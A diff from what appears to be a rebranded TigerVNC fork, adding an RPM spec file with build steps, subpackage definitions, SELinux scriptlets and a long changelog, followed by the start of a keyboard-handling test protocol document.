tigervnc10-rh499401.patch - - tigervnc10-rh497592.patch - - tigervnc10-rh501832.patch -- after discusion in upstream drop tigervnc-bounds.patch -- configure flags cleanup - -* Thu May 21 2009 Adam Tkac 0.0.90-0.10 -- rebuild against 1.6.1.901 X server (#497835) -- disable i18n, vncviewer is not UTF-8 compatible (#501832) - -* Mon May 18 2009 Adam Tkac 0.0.90-0.9 -- fix vncpasswd crash on long passwords (#499401) -- start session dbus daemon correctly (#497592) - -* Mon May 11 2009 Adam Tkac 0.0.90-0.8.1 -- remove merged tigervnc-manminor.patch - -* Tue May 05 2009 Adam Tkac 0.0.90-0.8 -- update to 0.0.90 - -* Thu Apr 30 2009 Adam Tkac 0.0.90-0.7.20090427svn3789 -- server package now requires xorg-x11-fonts-misc (#498184) - -* Mon Apr 27 2009 Adam Tkac 0.0.90-0.6.20090427svn3789 -- update to r3789 - - tigervnc-rh494801.patch merged -- tigervnc-newfbsize.patch is no longer needed -- fix problems when vncviewer and Xvnc run on different endianess (#496653) -- UltraVNC and TightVNC clients work fine again (#496786) - -* Wed Apr 08 2009 Adam Tkac 0.0.90-0.5.20090403svn3751 -- workaround broken fontpath handling in vncserver script (#494801) - -* Fri Apr 03 2009 Adam Tkac 0.0.90-0.4.20090403svn3751 -- update to r3751 -- patches merged - - tigervnc-xclients.patch - - tigervnc-clipboard.patch - - tigervnc-rh212985.patch -- basic RandR support in Xvnc (resize of the desktop) -- use built-in libjpeg (SSE2/MMX accelerated encoding on x86 platform) -- use Tight encoding by default -- use T2SRFBVNC icons - -* Tue Mar 03 2009 Adam Tkac 0.0.90-0.3.20090303svn3631 -- update to r3631 - -* Tue Mar 03 2009 Adam Tkac 0.0.90-0.2.20090302svn3621 -- package review related fixes - -* Mon Mar 02 2009 Adam Tkac 0.0.90-0.1.20090302svn3621 -- initial package, r3621 +#defining macros needed by SELinux +%global selinuxtype targeted +%global modulename vncsession + +Name: tigervnc +Version: @VERSION@ +Release: 1%{?snap:.%{snap}}%{?dist} +Summary: A T2SRFBVNC remote display system + +%global _hardened_build 1 + +License: GPLv2+ +URL: http://www.tigervnc.com + +Source0: %{name}-%{version}%{?snap:-%{snap}}.tar.bz2 +Source3: 10-libvnc.conf + +BuildRequires: make +BuildRequires: gcc-c++ +BuildRequires: automake, autoconf, libtool, gettext, gettext-autopoint +BuildRequires: cmake, desktop-file-utils, appstream +BuildRequires: libxkbfile-devel, openssl-devel, libpciaccess-devel +BuildRequires: freetype-devel, libjpeg-turbo-devel, pam-devel +BuildRequires: gnutls-devel, nettle-devel, gmp-devel +BuildRequires: zlib-devel +BuildRequires: libuuid-devel, glib2-devel, pipewire-devel +# X11/graphics dependencies +BuildRequires: xorg-x11-server-source +BuildRequires: libXext-devel, libX11-devel, libXi-devel, libXfixes-devel +BuildRequires: libXdamage-devel, libXrandr-devel, libXt-devel, libXdmcp-devel +BuildRequires: libXinerama-devel, mesa-libGL-devel, libxshmfence-devel +BuildRequires: pixman-devel, libdrm-devel, mesa-libgbm-devel +BuildRequires: xorg-x11-util-macros, xorg-x11-xtrans-devel, libXtst-devel +BuildRequires: libXfont2-devel +# SELinux +BuildRequires: libselinux-devel, selinux-policy-devel +BuildRequires: systemd-devel + +# T2SRFBVNC 1.4.x requires fltk 1.3.3 for keyboard handling support +# See https://github.com/T2SRFBVNC/tigervnc/issues/8, also bug #1208814 +BuildRequires: fltk-devel >= 1.3.3 +BuildRequires: xorg-x11-server-devel + +Requires: hicolor-icon-theme +Requires: tigervnc-license +Requires: tigervnc-icons + +%description +Virtual Network Computing (VNC) is a remote display system which +allows you to view a computing 'desktop' environment not only on the +machine where it is running, but from anywhere on the Internet and +from a wide variety of machine architectures. This package contains a +client which will allow you to connect to other desktops running a VNC +server. + +%package server +Summary: A T2SRFBVNC server +Requires: perl-interpreter +Requires: tigervnc-server-minimal = %{version}-%{release} +Requires: (%{name}-selinux if selinux-policy-%{selinuxtype}) +Requires: xorg-x11-xauth +Requires: xorg-x11-xinit + +%description server +The VNC system allows you to access the same desktop from a wide +variety of platforms. This package includes set of utilities +which make usage of T2SRFBVNC server more user friendly. It also +contains x0vncserver program which can export your active +X session. + +%package server-minimal +Summary: A minimal installation of T2SRFBVNC server +Requires(post): systemd +Requires(preun): systemd +Requires(postun): systemd +Requires(post): systemd + +Requires: mesa-dri-drivers, xkeyboard-config, xkbcomp +Requires: tigervnc-license, dbus-x11 + +%description server-minimal +The VNC system allows you to access the same desktop from a wide +variety of platforms. This package contains minimal installation +of T2SRFBVNC server, allowing others to access the desktop on your +machine. + +%package server-module +Summary: T2SRFBVNC module to Xorg +Requires: xorg-x11-server-Xorg %(xserver-sdk-abi-requires ansic) %(xserver-sdk-abi-requires videodrv) +Requires: tigervnc-license + +%description server-module +This package contains libvnc.so module to X server, allowing others +to access the desktop on your machine. + +%package license +Summary: License of T2SRFBVNC suite +BuildArch: noarch + +%description license +This package contains license of the T2SRFBVNC suite + +%package icons +Summary: Icons for T2SRFBVNC viewer +BuildArch: noarch + +%description icons +This package contains icons for T2SRFBVNC viewer + +%package selinux +Summary: SELinux module for T2SRFBVNC +BuildArch: noarch +BuildRequires: selinux-policy-devel +Requires: selinux-policy-%{selinuxtype} +Requires(post): selinux-policy-%{selinuxtype} +BuildRequires: selinux-policy-devel +%{?selinux_requires} + +%description selinux +This package provides the SELinux policy module to ensure T2SRFBVNC +runs properly under an environment with SELinux enabled. + +%prep +%setup -q -n %{name}-%{version}%{?snap:-%{snap}} + +cp -r /usr/share/xorg-x11-server-source/* unix/xserver +pushd unix/xserver +for all in `find . -type f -perm -001`; do + chmod -x "$all" +done +xserver_patch="../xserver$(rpm -q --qf '%%{VERSION}' xorg-x11-server-source | awk -F. '{ print $1 $2 }').patch" +patch -p1 -b --suffix .vnc < "$xserver_patch" +popd + +%build +%ifarch sparcv9 sparc64 s390 s390x +export CFLAGS="$RPM_OPT_FLAGS -fPIC" +%else +export CFLAGS="$RPM_OPT_FLAGS -fpic" +%endif +export CXXFLAGS="$CFLAGS -std=c++11" + +%cmake \ + -DENABLE_NLS=ON \ + -DENABLE_GNUTLS=ON \ + -DENABLE_NETTLE=ON \ + -DENABLE_SELINUX=ON \ + -DENABLE_SYSTEMD=ON \ + -DENABLE_WAYLAND=ON \ + -DBUILD_VIEWER=ON + +%cmake_build + +pushd unix/xserver + +autoreconf -fiv +%configure \ + --disable-xorg --disable-xnest --disable-xvfb --disable-dmx \ + --disable-xwin --disable-xephyr --disable-kdrive --disable-xwayland \ + --with-pic --disable-static \ + --with-default-font-path="catalogue:%{_sysconfdir}/X11/fontpath.d,built-ins" \ + --with-xkb-output=%{_localstatedir}/lib/xkb \ + --enable-glx --disable-dri --enable-dri2 --enable-dri3 \ + --disable-unit-tests \ + --disable-config-hal \ + --disable-config-udev \ + --without-dtrace \ + --disable-devel-docs \ + --disable-selective-werror + +make TIGERVNC_BUILDDIR="`pwd`/../../%{__cmake_builddir}" %{?_smp_mflags} +popd + +# SELinux +pushd unix/vncserver/selinux +make +popd + +%install +%cmake_install + +pushd unix/xserver/hw/vnc +%make_install TIGERVNC_BUILDDIR="`pwd`/../../../../%{__cmake_builddir}" +popd + +# Install systemd unit file +pushd unix/vncserver/selinux +make install DESTDIR=%{buildroot} +popd + +%find_lang %{name} %{name}.lang + +# remove unwanted files +rm -f %{buildroot}%{_libdir}/xorg/modules/extensions/libvnc.la + +mkdir -p %{buildroot}%{_sysconfdir}/X11/xorg.conf.d/ +install -m 644 %{SOURCE3} %{buildroot}%{_sysconfdir}/X11/xorg.conf.d/10-libvnc.conf + +%pre selinux +%selinux_relabel_pre -s %{selinuxtype} + +%post selinux +%selinux_modules_install -s %{selinuxtype} %{_datadir}/selinux/packages/%{selinuxtype}/%{modulename}.pp.bz2 +%selinux_relabel_post -s %{selinuxtype} + +%postun selinux +if [ $1 -eq 0 ]; then + %selinux_modules_uninstall -s %{selinuxtype} %{modulename} + %selinux_relabel_post -s %{selinuxtype} +fi + + +%files -f %{name}.lang +%doc %{_docdir}/%{name}/README.rst +%{_bindir}/vncviewer +%{_datadir}/applications/* +%{_datadir}/metainfo/* +%{_mandir}/man1/vncviewer.1* + +%files server +%config(noreplace) %{_sysconfdir}/pam.d/tigervnc +%config(noreplace) %{_sysconfdir}/tigervnc/vncserver-config-defaults +%config(noreplace) %{_sysconfdir}/tigervnc/vncserver-config-mandatory +%config(noreplace) %{_sysconfdir}/tigervnc/vncserver.users +%{_unitdir}/vncserver@.service +%{_bindir}/x0vncserver +%{_bindir}/w0vncserver +%{_sbindir}/vncsession +%{_libexecdir}/vncserver +%{_libexecdir}/vncsession-start +%{_mandir}/man1/x0vncserver.1* +%{_mandir}/man1/w0vncserver.1* +%{_mandir}/man8/vncserver.8* +%{_mandir}/man8/vncsession.8* +%doc %{_docdir}/%{name}/HOWTO.md + +%files server-minimal +%{_bindir}/vncconfig +%{_bindir}/vncpasswd +%{_bindir}/Xvnc +%{_mandir}/man1/Xvnc.1* +%{_mandir}/man1/vncpasswd.1* +%{_mandir}/man1/vncconfig.1* + +%files server-module +%{_libdir}/xorg/modules/extensions/libvnc.so +%config(noreplace) %{_sysconfdir}/X11/xorg.conf.d/10-libvnc.conf + +%files license +%doc %{_docdir}/%{name}/LICENCE.TXT + +%files icons +%{_datadir}/icons/hicolor/*/apps/* + +%files selinux +%{_datadir}/selinux/packages/%{selinuxtype}/%{modulename}.pp.* +%ghost %verify(not md5 size mtime) %{_sharedstatedir}/selinux/%{selinuxtype}/active/modules/200/%{modulename} + +%changelog +* Fri Aug 19 2022 Pierre Ossman 1.12.80-1 +- Synced with current Fedora packaging + +* Tue May 18 2021 Jan Grulich 1.11.0-1 +- SELinux package improvements + +* Mon Jul 27 2020 Mark Mielke 1.10.1-1 +- Update build requirements and fix unexpected rpm macro expansion. + +* Tue Oct 22 2019 Evan Burns 1.9.80-5 +- Add support for CentOS 8 + +* Mon Feb 11 2019 Mark Mielke 1.9.80-5 +- Automatically detect and apply the correct X.org patch. + +* Mon Jan 14 2019 Pierre Ossman 1.9.80-4 +- Use system FLTK for build +- Add libXrandr-devel as a dependency so x0vncserver gets resize support. + +* Sun Dec 09 2018 Mark Mielke 1.9.80-3 +- Update package dependencies to require version alignment between packages. + +* Mon Nov 26 2018 Brian P. Hinz 1.9.80-2 +- Bumped Xorg version to 1.20 + +* Sun Jul 22 2018 Brian P. Hinz 1.9.80-1 +- Updated fltk to latest version + +* Thu Dec 24 2015 Brian P. Hinz 1.6.80-1 +- Adapted from RedHat EL7 Spec + +* Wed Sep 02 2015 Jan Grulich - 1.3.1-3 +- Do not mention that display number is required in the file name + Resolves: bz#1195266 + +* Thu Jul 30 2015 Jan Grulich - 1.3.1-2 +- Resolves: bz#1248422 + CVE-2014-8240 CVE-2014-8241 tigervnc: various flaws + +* Wed Apr 15 2015 Jan Grulich - 1.3.1-1 +- Drop unecessary patches +- Re-base to 1.3.1 (bug #1199453) +- Re-build against re-based xserver (bug #1194898) +- Check the return value from XShmAttach (bug #1072733) +- Add missing part of xserver114.patch (bug #1140603) +- Keep pointer in sync (bug #1100661) +- Make input device class global (bug #1119640) +- Add IPv6 support (bug #1162722) +- Set initial mode as prefered (bug #1181287) +- Do not mention that display number is required in the file name (bug #1195266) +- Enable Xinerama extension (bug #1199437) +- Specify full path for runuser command (bug #1208817) + +* Tue Sep 23 2014 Tim Waugh - 1.2.80-0.31.20130314svn5065 +- Rebuilt against xorg-x11-server to pick up ppc64le fix (bug #1140424). + +* Mon Mar 10 2014 Tim Waugh - 1.2.80-0.30.20130314svn5065 +- Fixed heap-based buffer overflow (CVE-2014-0011, bug #1050928). + +* Tue Feb 18 2014 Tim Waugh - 1.2.80-0.29.20130314svn5065 +- Previous patch was not applied. + +* Mon Feb 10 2014 Tim Waugh - 1.2.80-0.28.20130314svn5065 +- Clearer xstartup file (bug #923655). + +* Tue Jan 28 2014 Tim Waugh - 1.2.80-0.27.20130314svn5065 +- Use keyboard input code from tigervnc-1.3.0 (bug #1053536). + +* Fri Jan 24 2014 Daniel Mach - 1.2.80-0.26.20130314svn5065 +- Mass rebuild 2014-01-24 + +* Fri Jan 10 2014 Tim Waugh - 1.2.80-0.25.20130314svn5065 +- Fixed viewer crash when cursor has not been set (bug #1051333). + +* Fri Dec 27 2013 Daniel Mach - 1.2.80-0.24.20130314svn5065 +- Mass rebuild 2013-12-27 + +* Thu Dec 12 2013 Tim Waugh 1.2.80-0.23.20130314svn5065 +- Avoid invalid read when ZRLE connection closed (bug #1039926). + +* Tue Dec 10 2013 Tim Waugh 1.2.80-0.22.20130314svn5065 +- Fixed GLX initialisation (bug #1039126). + +* Tue Nov 19 2013 Tim Waugh 1.2.80-0.21.20130314svn5065 +- Better fix for PIDFile problem (bug #1031625). + +* Fri Nov 08 2013 Adam Jackson 1.2.80-0.20.20130314svn5065 +- Rebuild against xserver 1.15RC1 + +* Wed Jul 24 2013 Tim Waugh 1.2.80-0.18.20130314svn5065 +- Avoid PIDFile problems in systemd unit file (bug #983232). +- Don't use shebang in vncserver script. + +* Wed Jul 3 2013 Tim Waugh 1.2.80-0.18.20130314svn5065 +- Removed systemd_requires macro in order to fix the build. + +* Wed Jul 3 2013 Tim Waugh 1.2.80-0.17.20130314svn5065 +- Synchronise manpages and --help output (bug #980870). + +* Mon Jun 17 2013 Adam Jackson 1.2.80-0.16.20130314svn5065 +- tigervnc-setcursor-crash.patch: Attempt to paper over a crash in Xvnc when + setting the cursor. + +* Sat Jun 08 2013 Dennis Gilmore 1.2.80-0.15.20130314svn5065 +- bump to rebuild and pick up bugfix causing X to crash on ppc and arm + +* Thu May 23 2013 Tim Waugh 1.2.80-0.14.20130314svn5065 +- Use systemd rpm macros (bug #850340). Moved systemd requirements + from main package to server sub-package. +- Applied Debian patch to fix busy loop when run from inetd in nowait + mode (bug #920373). +- Added dependency on xorg-x11-xinit to server sub-package so that + default window manager can be found (bug #896284, bug #923655). +- Fixed bogus changelog date. + +* Thu Mar 14 2013 Adam Jackson 1.2.80-0.13.20130314svn5065 +- Less RHEL customization + +* Thu Mar 14 2013 Adam Tkac - 1.2.80-0.12.20130314svn5065 +- include /etc/X11/xorg.conf.d/10-libvnc.conf sample configuration (#712482) +- vncserver now honors specified -geometry parameter (#755947) + +* Tue Mar 12 2013 Adam Tkac - 1.2.80-0.11.20130307svn5060 +- update to r5060 +- split icons to separate package to avoid multilib issues + +* Tue Feb 19 2013 Adam Tkac - 1.2.80-0.10.20130219svn5047 +- update to r5047 (X.Org 1.14 support) + +* Fri Feb 15 2013 Fedora Release Engineering - 1.2.80-0.9.20121126svn5015 +- Rebuilt for https://fedoraproject.org/wiki/Fedora_19_Mass_Rebuild + +* Mon Jan 21 2013 Adam Tkac - 1.2.80-0.8.20121126svn5015 +- rebuild due to "jpeg8-ABI" feature drop + +* Wed Jan 16 2013 Adam Tkac 1.2.80-0.7.20121126svn5015 +- rebuild + +* Tue Dec 04 2012 Adam Tkac 1.2.80-0.6.20121126svn5015 +- rebuild against new fltk + +* Mon Nov 26 2012 Adam Tkac 1.2.80-0.5.20121126svn5015 +- update to r5015 +- build with -fpic instead of -fPIC on all archs except s390/sparc + +* Wed Nov 7 2012 Peter Robinson 1.2.80-0.4.20120905svn4996 +- Build with -fPIC to fix FTBFS on ARM + +* Wed Oct 31 2012 Adam Jackson 1.2.80-0.3.20120905svn4996 +- tigervnc12-xorg113-glx.patch: Fix to only init glx on the first server + generation + +* Fri Sep 28 2012 Adam Jackson 1.2.80-0.2.20120905svn4996 +- tigervnc12-xorg113-glx.patch: Re-enable GLX against xserver 1.13 + +* Fri Aug 17 2012 Adam Tkac 1.2.80-0.1.20120905svn4996 +- update to 1.2.80 +- remove deprecated patches + - tigervnc-102434.patch + - tigervnc-viewer-reparent.patch + - tigervnc11-java7.patch +- patches merged + - tigervnc11-xorg111.patch + - tigervnc11-xorg112.patch + +* Fri Aug 10 2012 Dave Airlie 1.1.0-10 +- fix build against newer X server + +* Mon Jul 23 2012 Adam Jackson 1.1.0-9 +- Build with the Composite extension for feature parity with other X servers + +* Sat Jul 21 2012 Fedora Release Engineering - 1.1.0-8 +- Rebuilt for https://fedoraproject.org/wiki/Fedora_18_Mass_Rebuild + +* Thu Jul 19 2012 Dave Airlie 1.1.0-7 +- fix building against X.org 1.13 + +* Wed Apr 04 2012 Adam Jackson 1.1.0-6 +- RHEL exclusion for -server-module on ppc* too + +* Mon Mar 26 2012 Adam Tkac - 1.1.0-5 +- clean Xvnc's /tmp environment in service file before startup +- fix building against the latest JAVA 7 and X.Org 1.12 + +* Sat Jan 14 2012 Fedora Release Engineering - 1.1.0-4 +- Rebuilt for https://fedoraproject.org/wiki/Fedora_17_Mass_Rebuild + +* Tue Nov 22 2011 Adam Tkac - 1.1.0-3 +- don't build X.Org devel docs (#755782) +- applet: BR generic java-devel instead of java-gcj-devel (#755783) +- use runuser to start Xvnc in systemd service file (#754259) +- don't attepmt to restart Xvnc session during update/erase (#753216) + +* Fri Nov 11 2011 Adam Tkac - 1.1.0-2 +- libvnc.so: don't use unexported GetMaster function (#744881) +- remove nasm buildreq + +* Mon Sep 12 2011 Adam Tkac - 1.1.0-1 +- update to 1.1.0 +- update the xorg11 patch +- patches merged + - tigervnc11-glx.patch + - tigervnc11-CVE-2011-1775.patch + - 0001-Use-memmove-instead-of-memcpy-in-fbblt.c-when-memory.patch + +* Thu Jul 28 2011 Adam Tkac - 1.0.90-6 +- add systemd service file and remove legacy SysV initscript (#717227) + +* Thu May 12 2011 Adam Tkac - 1.0.90-5 +- make Xvnc buildable against X.Org 1.11 + +* Tue May 10 2011 Adam Tkac - 1.0.90-4 +- viewer can send password without proper validation of X.509 certs + (CVE-2011-1775) + +* Wed Apr 13 2011 Adam Tkac - 1.0.90-3 +- fix wrong usage of memcpy which caused screen artifacts (#652590) +- don't point to inaccessible link in sysconfig/vncservers (#644975) + +* Fri Apr 08 2011 Adam Tkac - 1.0.90-2 +- improve compatibility with vinagre client (#692048) + +* Tue Mar 22 2011 Adam Tkac - 1.0.90-1 +- update to 1.0.90 + +* Wed Feb 09 2011 Fedora Release Engineering - 1.0.90-0.32.20110117svn4237 +- Rebuilt for https://fedoraproject.org/wiki/Fedora_15_Mass_Rebuild + +* Mon Jan 17 2011 Adam Tkac 1.0.90-0.31.20110117svn4237 +- fix libvnc.so module loading + +* Mon Jan 17 2011 Adam Tkac 1.0.90-0.30.20110117svn4237 +- update to r4237 +- patches merged + - tigervnc11-optionsdialog.patch + - tigervnc11-rh607866.patch + +* Fri Jan 14 2011 Adam Tkac 1.0.90-0.29.20101208svn4225 +- improve patch for keyboard issues + +* Fri Jan 14 2011 Adam Tkac 1.0.90-0.28.20101208svn4225 +- attempt to fix various keyboard-related issues (key repeating etc) + +* Fri Jan 07 2011 Adam Tkac 1.0.90-0.27.20101208svn4225 +- render "Ok" and "Cancel" buttons in the options dialog correctly + +* Wed Dec 15 2010 Jan Görig 1.0.90-0.26.20101208svn4225 +- added vncserver lock file (#662784) + +* Fri Dec 10 2010 Adam Tkac 1.0.90-0.25.20101208svn4225 +- update to r4225 +- patches merged + - tigervnc11-rh611677.patch + - tigervnc11-rh633931.patch + - tigervnc11-xorg1.10.patch +- enable VeNCrypt and PAM support + +* Mon Dec 06 2010 Adam Tkac 1.0.90-0.24.20100813svn4123 +- rebuild against xserver 1.10.X +- 0001-Return-Success-from-generate_modkeymap-when-max_keys.patch merged + +* Wed Sep 29 2010 jkeating - 1.0.90-0.23.20100813svn4123 +- Rebuilt for gcc bug 634757 + +* Tue Sep 21 2010 Adam Tkac 1.0.90-0.22.20100420svn4030 +- drop xorg-x11-fonts-misc dependency (#636170) + +* Tue Sep 21 2010 Adam Tkac 1.0.90-0.21.20100420svn4030 +- improve patch for #633645 (fix tcsh incompatibilities) + +* Thu Sep 16 2010 Adam Tkac 1.0.90-0.20.20100813svn4123 +- press fake modifiers correctly (#633931) +- supress unneeded debug information emitted from initscript (#633645) + +* Wed Aug 25 2010 Adam Tkac 1.0.90-0.19.20100813svn4123 +- separate Xvnc, vncpasswd and vncconfig to -server-minimal subpkg (#626946) +- move license to separate subpkg and Requires it from main subpkgs +- Xvnc: handle situations when no modifiers exist well (#611677) + +* Fri Aug 13 2010 Adam Tkac 1.0.90-0.18.20100813svn4123 +- update to r4123 (#617973) +- add perl requires to -server subpkg (#619791) + +* Thu Jul 22 2010 Adam Tkac 1.0.90-0.17.20100721svn4113 +- update to r4113 +- patches merged + - tigervnc11-rh586406.patch + - tigervnc11-libvnc.patch + - tigervnc11-rh597172.patch + - tigervnc11-rh600070.patch + - tigervnc11-options.patch +- don't own %%{_datadir}/icons directory (#614301) +- minor improvements in the .desktop file (#616340) +- bundled libjpeg configure requires nasm; is executed even if system-wide + libjpeg is used + +* Fri Jul 02 2010 Adam Tkac 1.0.90-0.16.20100420svn4030 +- build against system-wide libjpeg-turbo (#494458) +- build no longer requires nasm + +* Mon Jun 28 2010 Adam Tkac 1.0.90-0.15.20100420svn4030 +- vncserver: accept <+optname> option when specified as the first one + +* Thu Jun 24 2010 Adam Tkac 1.0.90-0.14.20100420svn4030 +- fix memory leak in Xvnc input code (#597172) +- don't crash when receive negative encoding (#600070) +- explicitly disable udev configuration support +- add gettext-autopoint to BR + +* Mon Jun 14 2010 Adam Tkac 1.0.90-0.13.20100420svn4030 +- update URL about SSH tunneling in the sysconfig file (#601996) + +* Fri Jun 11 2010 Adam Tkac 1.0.90-0.12.20100420svn4030 +- use newer gettext +- autopoint now uses git instead of cvs, adjust BuildRequires appropriately + +* Thu May 13 2010 Adam Tkac 1.0.90-0.11.20100420svn4030 +- link libvnc.so "now" to catch "undefined symbol" errors during Xorg startup +- use always XkbConvertCase instead of XConvertCase (#580159, #586406) +- don't link libvnc.so against libXi.la, libdix.la and libxkb.la; use symbols + from Xorg instead + +* Thu May 13 2010 Adam Tkac 1.0.90-0.10.20100420svn4030 +- update to r4030 snapshot +- patches merged to upstream + - tigervnc11-rh522369.patch + - tigervnc11-rh551262.patch + - tigervnc11-r4002.patch + - tigervnc11-r4014.patch + +* Thu Apr 08 2010 Adam Tkac 1.0.90-0.9.20100219svn3993 +- add server-applet subpackage which contains Java vncviewer applet +- fix Java applet; it didn't work when run from web browser +- add xorg-x11-xkb-utils to server Requires + +* Fri Mar 12 2010 Adam Tkac 1.0.90-0.8.20100219svn3993 +- add French translation to vncviewer.desktop (thanks to Alain Portal) + +* Thu Mar 04 2010 Adam Tkac 1.0.90-0.7.20100219svn3993 +- don't crash during pixel format change (#522369, #551262) + +* Mon Mar 01 2010 Adam Tkac 1.0.90-0.6.20100219svn3993 +- add mesa-dri-drivers and xkeyboard-config to -server Requires +- update to r3993 1.0.90 snapshot + - tigervnc11-noexecstack.patch merged + - tigervnc11-xorg18.patch merged + - xserver18.patch is no longer needed + +* Wed Jan 27 2010 Jan Gorig 1.0.90-0.5.20091221svn3929 +- initscript LSB compliance fixes (#523974) + +* Fri Jan 22 2010 Adam Tkac 1.0.90-0.4.20091221svn3929 +- mark stack as non-executable in jpeg ASM code +- add xorg-x11-xauth to Requires +- add support for X.Org 1.8 +- drop shave sources, they are no longer needed + +* Thu Jan 21 2010 Adam Tkac 1.0.90-0.3.20091221svn3929 +- drop tigervnc-xorg25909.patch, it has been merged to X.Org upstream + +* Thu Jan 07 2010 Adam Tkac 1.0.90-0.2.20091221svn3929 +- add patch for upstream X.Org issue #25909 +- add libXdmcp-devel to build requires to build Xvnc with XDMCP support (#552322) + +* Mon Dec 21 2009 Adam Tkac 1.0.90-0.1.20091221svn3929 +- update to 1.0.90 snapshot +- patches merged + - tigervnc10-compat.patch + - tigervnc10-rh510185.patch + - tigervnc10-rh524340.patch + - tigervnc10-rh516274.patch + +* Mon Oct 26 2009 Adam Tkac 1.0.0-3 +- create Xvnc keyboard mapping before first keypress (#516274) + +* Thu Oct 08 2009 Adam Tkac 1.0.0-2 +- update underlying X source to 1.6.4-0.3.fc11 +- remove bogus '-nohttpd' parameter from /etc/sysconfig/vncservers (#525629) +- initscript LSB compliance fixes (#523974) +- improve -LowColorSwitch documentation and handling (#510185) +- honor dotWhenNoCursor option (and it's changes) every time (#524340) + +* Fri Aug 28 2009 Adam Tkac 1.0.0-1 +- update to 1.0.0 +- tigervnc10-rh495457.patch merged to upstream + +* Mon Aug 24 2009 Karsten Hopp 0.0.91-0.17 +- fix ifnarch s390x for server-module + +* Fri Aug 21 2009 Tomas Mraz - 0.0.91-0.16 +- rebuilt with new openssl + +* Tue Aug 04 2009 Adam Tkac 0.0.91-0.15 +- make Xvnc compilable + +* Sun Jul 26 2009 Fedora Release Engineering - 0.0.91-0.14.1 +- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild + +* Mon Jul 13 2009 Adam Tkac 0.0.91-0.13.1 +- don't write warning when initscript is called with condrestart param (#508367) + +* Tue Jun 23 2009 Adam Tkac 0.0.91-0.13 +- temporary use F11 Xserver base to make Xvnc compilable +- BuildRequires: libXi-devel +- don't ship tigervnc-server-module on s390/s390x + +* Mon Jun 22 2009 Adam Tkac 0.0.91-0.12 +- fix local rendering of cursor (#495457) + +* Thu Jun 18 2009 Adam Tkac 0.0.91-0.11 +- update to 0.0.91 (1.0.0 RC1) +- patches merged + - tigervnc10-rh499401.patch + - tigervnc10-rh497592.patch + - tigervnc10-rh501832.patch +- after discusion in upstream drop tigervnc-bounds.patch +- configure flags cleanup + +* Thu May 21 2009 Adam Tkac 0.0.90-0.10 +- rebuild against 1.6.1.901 X server (#497835) +- disable i18n, vncviewer is not UTF-8 compatible (#501832) + +* Mon May 18 2009 Adam Tkac 0.0.90-0.9 +- fix vncpasswd crash on long passwords (#499401) +- start session dbus daemon correctly (#497592) + +* Mon May 11 2009 Adam Tkac 0.0.90-0.8.1 +- remove merged tigervnc-manminor.patch + +* Tue May 05 2009 Adam Tkac 0.0.90-0.8 +- update to 0.0.90 + +* Thu Apr 30 2009 Adam Tkac 0.0.90-0.7.20090427svn3789 +- server package now requires xorg-x11-fonts-misc (#498184) + +* Mon Apr 27 2009 Adam Tkac 0.0.90-0.6.20090427svn3789 +- update to r3789 + - tigervnc-rh494801.patch merged +- tigervnc-newfbsize.patch is no longer needed +- fix problems when vncviewer and Xvnc run on different endianess (#496653) +- UltraVNC and TightVNC clients work fine again (#496786) + +* Wed Apr 08 2009 Adam Tkac 0.0.90-0.5.20090403svn3751 +- workaround broken fontpath handling in vncserver script (#494801) + +* Fri Apr 03 2009 Adam Tkac 0.0.90-0.4.20090403svn3751 +- update to r3751 +- patches merged + - tigervnc-xclients.patch + - tigervnc-clipboard.patch + - tigervnc-rh212985.patch +- basic RandR support in Xvnc (resize of the desktop) +- use built-in libjpeg (SSE2/MMX accelerated encoding on x86 platform) +- use Tight encoding by default +- use T2SRFBVNC icons + +* Tue Mar 03 2009 Adam Tkac 0.0.90-0.3.20090303svn3631 +- update to r3631 + +* Tue Mar 03 2009 Adam Tkac 0.0.90-0.2.20090302svn3621 +- package review related fixes + +* Mon Mar 02 2009 Adam Tkac 0.0.90-0.1.20090302svn3621 +- initial package, r3621 diff --git a/T2SRFB/doc/keyboard-test.txt b/T2SRFB/doc/keyboard-test.txt index c7aa663..23db66f 100644 --- a/T2SRFB/doc/keyboard-test.txt +++ b/T2SRFB/doc/keyboard-test.txt @@ -1,203 +1,203 @@ -Test protocol for keyboard handling -=================================== - -Platform specific tests/issues are marked with []. - -These tests are primarily about what is sent over the protocol and some -may be difficult or impossible to test using normal applications. One -such case is that xev will see fake KeyRelease events on key repeat, -even when no such events were sent by the client. In these cases you -can turn on debug logging in either the client or the server by -specifying "-Log *:stderr:100". - -We currently have a limitation in Xvnc where it can run out of symbols, -resulting in nothing being sent to the applications. Just run setxkbmap -with any layout to reset the symbol table. - -Client (classic, non-raw, mode) -------------------------------- - -- Normal symbols: - - - ASCII characters - - Latin 1 character - - Unicode BMP characters - - Unicode non-BMP characters (does any layout actually have these?) - -- Dead keys: - - These are not available on a single layout, so you need to switch to - test everything. The useful layouts also differ per platform: - - X11: US International for most, Greek for some specific diacretics - Win: US International, Czech, Greek Polytonic, Vietnamese - OS X: ABC Extended (FIXME: lots of broken keys), - Greek (FIXME: cannot be used with T2SRFBVNC) - - - Grave - - Acute - - Circumflex - - Tilde - - Macron (FIXME: broken on Win) - - Breve - - Dot above - - Dot below - - Diaeresis - - Ring above - - Double acute - - Caron - - Cedilla - - Ogonek - - Ypogegrammeni (iota below) (FIXME: broken on Win) - - Dialytika tonos [Win] (Diaresis on X11, and maybe OS X?) - - Comma above (FIXME: broken on Win) - - Reversed comma above (FIXME: broken on Win) - - Horn [X11?] - - Hook above [Win?] - - Hook below [X11?, Win?] - - Dakuten (Katakana voiced mark) (Only Input Methods layouts?) - - Handakuten (Katakana semi-voiced mark) (Only Input Methods layouts?) - - FIXME: Many more that we currently probably don't support - - - No composition on client - -- Modifiers: - - X11: You can usually toggle Hyper/Super and Compose/Scroll_Lock using - XKB options. - - - CapsLock, NumLock - - Shift, Ctrl - - Alt, AltGr, Super [Win, X11] - - Ctrl+AltGr [Win] - - Meta [X11] - - Left/right identification (FIXME: broken release for Shift on Win) - - CmdL => AltL, CmdR => SuperL, AltL => ModeSwitch, AltR => Level3Shift [OS X] - - Hyper sends Super [X11] - - - CapsLock, Shift and AltGr affect symbol lookup - - Ctrl does not affect symbol lookup - - Ctrl+Alt+ sends the same symbol as - - "Shift press, A press, Shift release, A release" should not send "a release" - -- Numpad: - - - NumLock affects symbol lookup [Win, X11] - - Numpad specific symbols are sent - - Decimal key should send Decimal for layouts with . as a symbol, and - Separator for layouts with , as a symbol - - Shift inverts NumLock behaviour [X11] - - Shift turns NumLock off, but not on [Win] (FIXME: fake 